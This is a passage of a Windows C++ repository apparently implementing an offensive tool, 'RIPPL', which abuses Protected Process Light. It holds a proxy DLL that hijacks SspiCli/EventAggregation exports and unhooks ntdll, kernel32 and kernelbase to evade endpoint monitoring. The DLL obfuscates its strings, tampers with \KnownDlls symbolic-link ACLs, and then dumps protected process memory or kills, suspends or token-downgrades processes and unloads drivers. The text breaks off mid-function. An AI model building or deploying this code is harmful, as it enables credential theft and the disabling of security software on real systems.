postSolution\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x64.Build.0 = Debug|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Debug|x86.Build.0 = Debug|Win32\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.ActiveCfg = Release|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x64.Build.0 = Release|x64\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x86.ActiveCfg = Release|Win32\n\t\t{FCE81BDA-ACAC-4892-969E-0414E765593B}.Release|x86.Build.0 = Release|Win32\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x64.Build.0 = Debug|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Debug|x86.Build.0 = Debug|Win32\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.ActiveCfg = Release|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x64.Build.0 = Release|x64\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x86.ActiveCfg = Release|Win32\n\t\t{6E8D2C12-255B-403C-9EF3-8A097D374DB2}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {C27E5A8A-2C3F-4B24-92AE-7E0B29C0A16B}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "RIPPLDLL/RIPPL.def",
    "content": "LIBRARY\nEXPORTS\n   LogonUserExExW @1\n   BriCreateBrokeredEvent @2\n   BriDeleteBrokeredEvent @3\n   EaCreateAggregatedEvent @4\n   EACreateAggregateEvent @5\n   EaQueryAggregatedEventParameters @6\n   EAQueryAggregateEventData @7\n   EaFreeAggregatedEventParameters @8\n   EaDeleteAggregatedEvent @9\n   EADeleteAggregateEvent @10\n"
  },
  {
    "path": "RIPPLDLL/RIPPLDLL.cpp",
    "content": "#include \"dllexploit.h\"\n\n//\n// Windows 8.1 -> SspiCli.dll\n//\n//   000000014005B1C8  LogonUserExExW SspiCli\n//\nextern \"C\" __declspec(dllexport) void APIENTRY LogonUserExExW();\n\n//\n// Windows 10 -> EventAggregation.dll\n//\n//   0000000140083728  EaDeleteAggregatedEvent EventAggregation\n//   0000000140083730  BriCreateBrokeredEvent EventAggregation\n//   0000000140083738  EaCreateAggregatedEvent EventAggregation\n//   0000000140083740  BriDeleteBrokeredEvent EventAggregation\n//   0000000140083748  EACreateAggregateEvent EventAggregation\n//   0000000140083750  EaQueryAggregatedEventParameters EventAggregation\n//   0000000140083758  EaFreeAggregatedEventParameters EventAggregation\n//   0000000140083760  EADeleteAggregateEvent EventAggregation\n//   0000000140083768  EAQueryAggregateEventData EventAggregation\n//\nextern \"C\" __declspec(dllexport) void APIENTRY BriCreateBrokeredEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY BriDeleteBrokeredEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EaCreateAggregatedEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EACreateAggregateEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EaQueryAggregatedEventParameters();\nextern \"C\" __declspec(dllexport) void APIENTRY EAQueryAggregateEventData();\nextern \"C\" __declspec(dllexport) void APIENTRY EaFreeAggregatedEventParameters();\nextern \"C\" __declspec(dllexport) void APIENTRY EaDeleteAggregatedEvent();\nextern \"C\" __declspec(dllexport) void APIENTRY EADeleteAggregateEvent();\n\nHMODULE g_hInstance = NULL;\nHANDLE g_hConsoleOutput = NULL;\nDWORD g_dwProcessId = 0;\nDWORD g_dwParentPid = 0;\nLPWSTR g_pwszDumpFilePath = NULL;\nLPWSTR g_pwszGuid = NULL;\nBOOL g_bDebug = FALSE;\nint g_intExecutionMode = -1;\n\nBOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)\n{\n    \n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n    {\n        DEBUGLOG(L\"DLL main called with reason DLL_PROCESS_ATTACH!\\n\");\n        g_hInstance = hModule;\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"DllMain (process attach)\\n\");\n\n        DoStuff();\n        break;\n    }\n    case DLL_THREAD_ATTACH:\n    {\n        DEBUGLOG(L\"DLL main called with reason DLL_THREAD_ATTACH!\\n\");\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"DllMain (thread attach)\\n\");\n        break;\n    }\n\n    case DLL_THREAD_DETACH:\n    {\n        DEBUGLOG(L\"DLL main called with reason DLL_THREAD_DETACH!\\n\");\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"DllMain (thread detach)\\n\");\n        break;\n    }\n\n    case DLL_PROCESS_DETACH:\n    {\n        DEBUGLOG(L\"DLL main called with reason DLL_PROCESS_DETACH!\\n\");\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"DllMain (process detach)\\n\");\n        if (g_hConsoleOutput)\n            FreeConsole();\n        break;\n    }\n    }\n    return TRUE;\n}\n\n//\n// SspiCli.dll\n//\nvoid APIENTRY LogonUserExExW() { }\n\n//\n// EventAggregation.dll\n//\nvoid APIENTRY BriCreateBrokeredEvent() { }\nvoid APIENTRY BriDeleteBrokeredEvent() { }\nvoid APIENTRY EaCreateAggregatedEvent() { }\nvoid APIENTRY EACreateAggregateEvent() { }\nvoid APIENTRY EaQueryAggregatedEventParameters() { }\nvoid APIENTRY EAQueryAggregateEventData() { }\nvoid APIENTRY EaFreeAggregatedEventParameters() { }\nvoid APIENTRY EaDeleteAggregatedEvent() { }\nvoid APIENTRY EADeleteAggregateEvent() { }\n"
  },
  {
    "path": "RIPPLDLL/RIPPLDLL.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{6e8d2c12-255b-403c-9ef3-8a097d374db2}</ProjectGuid>\n    <RootNamespace>RIPPLDLL</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>RIPPLDLL</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <TargetName>$(ProjectName)_unencrypted</TargetName>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\RIPPL</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <ModuleDefinitionFile>RIPPL.def</ModuleDefinitionFile>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\RIPPL</AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <ModuleDefinitionFile>RIPPL.def</ModuleDefinitionFile>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\RIPPL</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <ModuleDefinitionFile>RIPPL.def</ModuleDefinitionFile>\n    </Link>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\RIPPL</AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n      <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>\n      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <ModuleDefinitionFile>\n      </ModuleDefinitionFile>\n    </Link>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"dllexploit.cpp\" />\n    <ClCompile Include=\"RIPPLDLL.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"dllexploit.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n    <None Include=\"RIPPL.def\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets\" Condition=\"Exists('..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\\build\\native\\Microsoft.Windows.ImplementationLibrary.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RIPPLDLL/RIPPLDLL.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"dllexploit.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"RIPPLDLL.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"dllexploit.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"RIPPL.def\">\n      <Filter>Source Files</Filter>\n    </None>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RIPPLDLL/dllexploit.cpp",
    "content": "#include \"dllexploit.h\"\n\nvoid DoStuff()\n{\n    LPWSTR pwszDllName = NULL;\n    BOOL bSuccess = FALSE;\n\n    WCHAR wszEventName[MAX_PATH] = { 0 };\n    HANDLE hEvent = NULL;\n\n    //\n    // 1. Parse the command line\n    //\n    //    Then, we can parse the command line to get the ID of the process to dump and the path of\n    //    the target dump file.\n    //\n    std::vector<const wchar_t*> dllsToUnhook\n    {\n        skCrypt(L\"ntdll.dll\"),\n        skCrypt(L\"kernel32.dll\"),\n        skCrypt(L\"kernelbase.dll\")\n    };\n\n    for (auto dll : dllsToUnhook)\n    {\n        if (!UnhookDll(dll))\n        {\n            DEBUGLOG(L\"Failed to unhook one of the DLLs\");\n            return;\n        }\n    }\n    ParseCommandLine();\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"DEBUG mode enabled\\n\");\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"PID=%d | File='%ws' | GUID='%ws'\\n\", g_dwProcessId, g_pwszDumpFilePath, g_pwszGuid);\n\n    //\n    // Signal first Event (DLL loaded)\n    //\n    StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L\"Global\\\\%ws_DLL_LOADED\"), g_pwszGuid);\n    if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))\n    {\n        if (!SetEvent(hEvent))\n            LOGLASTERROR(L\"SetEvent\");\n        \n        CloseHandle(hEvent);\n    }\n    else\n        LOGLASTERROR(L\"OpenEvent\");\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"[*] DLL loaded.\\n\");\n    \n    //\n    // 2. Do some cleanup\n    //\n    //    First things first, we need to delete the symbolic link that was created in \\KnownDlls.\n    //    As this code is executed as SYSTEM inside a PPL with the WindowsTCB protection level, it\n    //    should not be a problem.\n    //\n    if (!GetCurrentDllFileName(&pwszDllName))\n        goto end;\n\n    if (!DeleteKnownDllEntry(pwszDllName))\n        LOGTOCONSOLE(L\"[-] Failed to delete KnownDll entry '%ws'\\n\", pwszDllName);\n    else\n    {\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"[*] KnownDll entry '%ws' removed.\\n\", pwszDllName);\n    }\n\n    //\n    // 3. Dump the memory of the target process\n    //\n    //    Finally, dump the memmory of the target process using MiniDumpWriteDump.\n    //\n    switch (g_intExecutionMode)\n    {\n    case DUMP_MODE:\n    {\n        bSuccess = DumpProcessMemory(g_dwProcessId, g_pwszDumpFilePath);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws DumpProcessMemory: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case KILL_MODE:\n    {\n        bSuccess = KillProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws KillProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n\n    case SUSPEND_MODE:\n    {\n        bSuccess = SuspendProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws SuspendProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case RESUME_MODE:\n    {\n        bSuccess = ResumeProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws ResumeProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case JOB_KILL_MODE:\n    {\n        bSuccess = JobKillProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws JobKillProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case JOB_SUPPRESS_MODE:\n    {\n        bSuccess = JobSuppressProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws JobSuppressProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case SUICIDE_MODE:\n    {\n        bSuccess = SuicideProcess(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws SuicideProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case TOKEN_DOWNGRADE_MODE:\n    {\n        bSuccess = SandboxToken(g_dwProcessId);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws SuicideProcess: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n    case DRIVER_UNLOAD_MODE:\n    {\n        bSuccess = DriverUnload(g_pwszDumpFilePath);\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"%ws DriverUnload: %ws\\n\", bSuccess ? L\"[+]\" : L\"[-]\", bSuccess ? L\"SUCCESS\" : L\"FAILURE\");\n        break;\n    }\n\n    default:\n    {\n        if (g_bDebug)\n            LOGTOCONSOLE(L\"[-] Invalid option passed to the DLL!\\n\");\n        goto end;\n    }\n    }\n\n\n    if (bSuccess)\n    {\n        //\n        // Signal second Event (dump success)\n        //\n        StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L\"Global\\\\%ws_DUMP_SUCCESS\"), g_pwszGuid);\n        if (hEvent = OpenEvent(EVENT_MODIFY_STATE, FALSE, wszEventName))\n        {\n            if (!SetEvent(hEvent))\n                LOGLASTERROR(L\"SetEvent\");\n            CloseHandle(hEvent);\n        }\n        else\n            LOGLASTERROR(L\"OpenEvent\");\n    }\n\nend:\n    if (pwszDllName)\n        LocalFree(pwszDllName);\n}\n\nvoid LogToConsole(LPCWSTR pwszFormat, ...)\n{\n    //\n    // The process in which we load this DLL does not have a console so we need to attach to the \n    // parent process' console. To do so, we can call AttachConsole with the g_dwParentPid value  \n    // which contains the PID of RIPPL.exe. Then, we can get the STDOUT handle. This handle is stored will be \n    // stored as a global variable so we need to initialize it only once.\n    //\n    if (g_hConsoleOutput == NULL)\n    {\n        AttachConsole(g_dwParentPid);\n        if (!(g_hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE)))\n            return;\n    }\n\n    //\n    // Prepare otuput string and use WriteConsole instead of wprintf. This way, we can directly use\n    // the STDOUT handle we got previously.\n    //\n    DWORD dwOutputStringSize = 0;\n    LPWSTR pwszOutputString = NULL;\n    va_list va;\n    size_t offset = 0;\n\n    va_start(va, pwszFormat);\n\n    if (g_bDebug)\n        dwOutputStringSize += (DWORD)wcslen(L\"[DEBUG] (DLL) \") * sizeof(WCHAR);\n    else\n        dwOutputStringSize += (DWORD)wcslen(L\"(DLL) \") * sizeof(WCHAR);\n    dwOutputStringSize += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; // \\0\n    pwszOutputString = (LPWSTR)LocalAlloc(LPTR, dwOutputStringSize);\n\n    if (pwszOutputString)\n    {\n        if (g_bDebug)\n            StringCchPrintf(pwszOutputString, dwOutputStringSize, L\"[DEBUG] (DLL) \");\n        else\n            StringCchPrintf(pwszOutputString, dwOutputStringSize, L\"(DLL) \");\n\n        if (SUCCEEDED(StringCbLength(pwszOutputString, dwOutputStringSize, &offset)))\n        {\n            StringCbVPrintf(&pwszOutputString[offset / sizeof(WCHAR)], dwOutputStringSize - offset, pwszFormat, va);\n\n            WriteConsole(g_hConsoleOutput, pwszOutputString, (DWORD)wcslen(pwszOutputString), NULL, NULL);\n        }\n\n        LocalFree(pwszOutputString);\n    }\n\n    va_end(va);\n}\n\nvoid LogLastError(LPCWSTR pwszFunctionName)\n{\n    DWORD dwLastError = LI_FN(GetLastError)();\n    if (dwLastError != ERROR_SUCCESS)\n        LOGTOCONSOLE(L\"Function '%ws' returned error code %d - %ws\\n\", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());\n}\n\nBOOL GetCurrentDllFileName(LPWSTR* ppwszDllName)\n{\n    WCHAR wszDllPath[MAX_PATH];\n    LPWSTR pwszDllName = NULL;\n\n    GetModuleFileName(g_hInstance, wszDllPath, MAX_PATH);\n    if (LI_FN(GetLastError)() == ERROR_SUCCESS)\n    {\n        pwszDllName = PathFindFileName(wszDllPath);\n        *ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n        if (*ppwszDllName)\n        {\n            StringCchPrintfW(*ppwszDllName, 64, skCrypt(L\"%ws\"), pwszDllName);\n            return TRUE;\n        }\n    }\n\n    return FALSE;\n}\n\nBOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)\n{\n    BOOL bReturnValue = FALSE;\n\n    NTSTATUS status = 0;\n    HANDLE hLink = NULL;\n    LPWSTR pwszLinkPath = NULL;\n    UNICODE_STRING name = { 0 };\n    OBJECT_ATTRIBUTES oa = { 0 };\n\n    SECURITY_DESCRIPTOR sd = { 0 };\n    SECURITY_ATTRIBUTES sa = { 0 };\n\n    //\n    // Build the path of the symbolic link object to delete. The name of the DLL can be determined\n    // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as \n    // '\\KnownDlls\\DPAPI.dll'.\n    //\n    pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszLinkPath)\n        goto end;\n\n    StringCchPrintfW(pwszLinkPath, MAX_PATH, skCrypt(L\"\\\\KnownDlls\\\\%ws\"), pwszDllName);\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"Object to delete: %ws\\n\", pwszLinkPath);\n\n    LI_FN(RtlInitUnicodeString)(&name, pwszLinkPath);\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);\n\n    //\n    // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete\n    // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus \n    // get an \"Access denied\" error. What we can do though is open the symbolic link object with\n    // WRITE_DAC access in order to change the ACL of the object.\n    //\n    status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, WRITE_DAC, &oa);\n    SetLastError(LI_FN(RtlNtStatusToDosError)(status));\n    if (status != 0)\n    {\n        LOGLASTERROR(L\"NtOpenSymbolicLinkObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\\n\", pwszLinkPath);\n\n    //\n    // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone\n    // access to the object but that's not really an issue because we'll delete it right after.\n    //\n    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\n#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here\n    if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))\n    {\n        LOGLASTERROR(L\"SetSecurityDescriptorDacl\");\n    }\n\n    sa.nLength = sizeof(sa);\n    sa.bInheritHandle = FALSE;\n    sa.lpSecurityDescriptor = &sd;\n\n    //\n    // Apply the new Security Descriptor.\n    //\n    if (!SetKernelObjectSecurity(hLink, 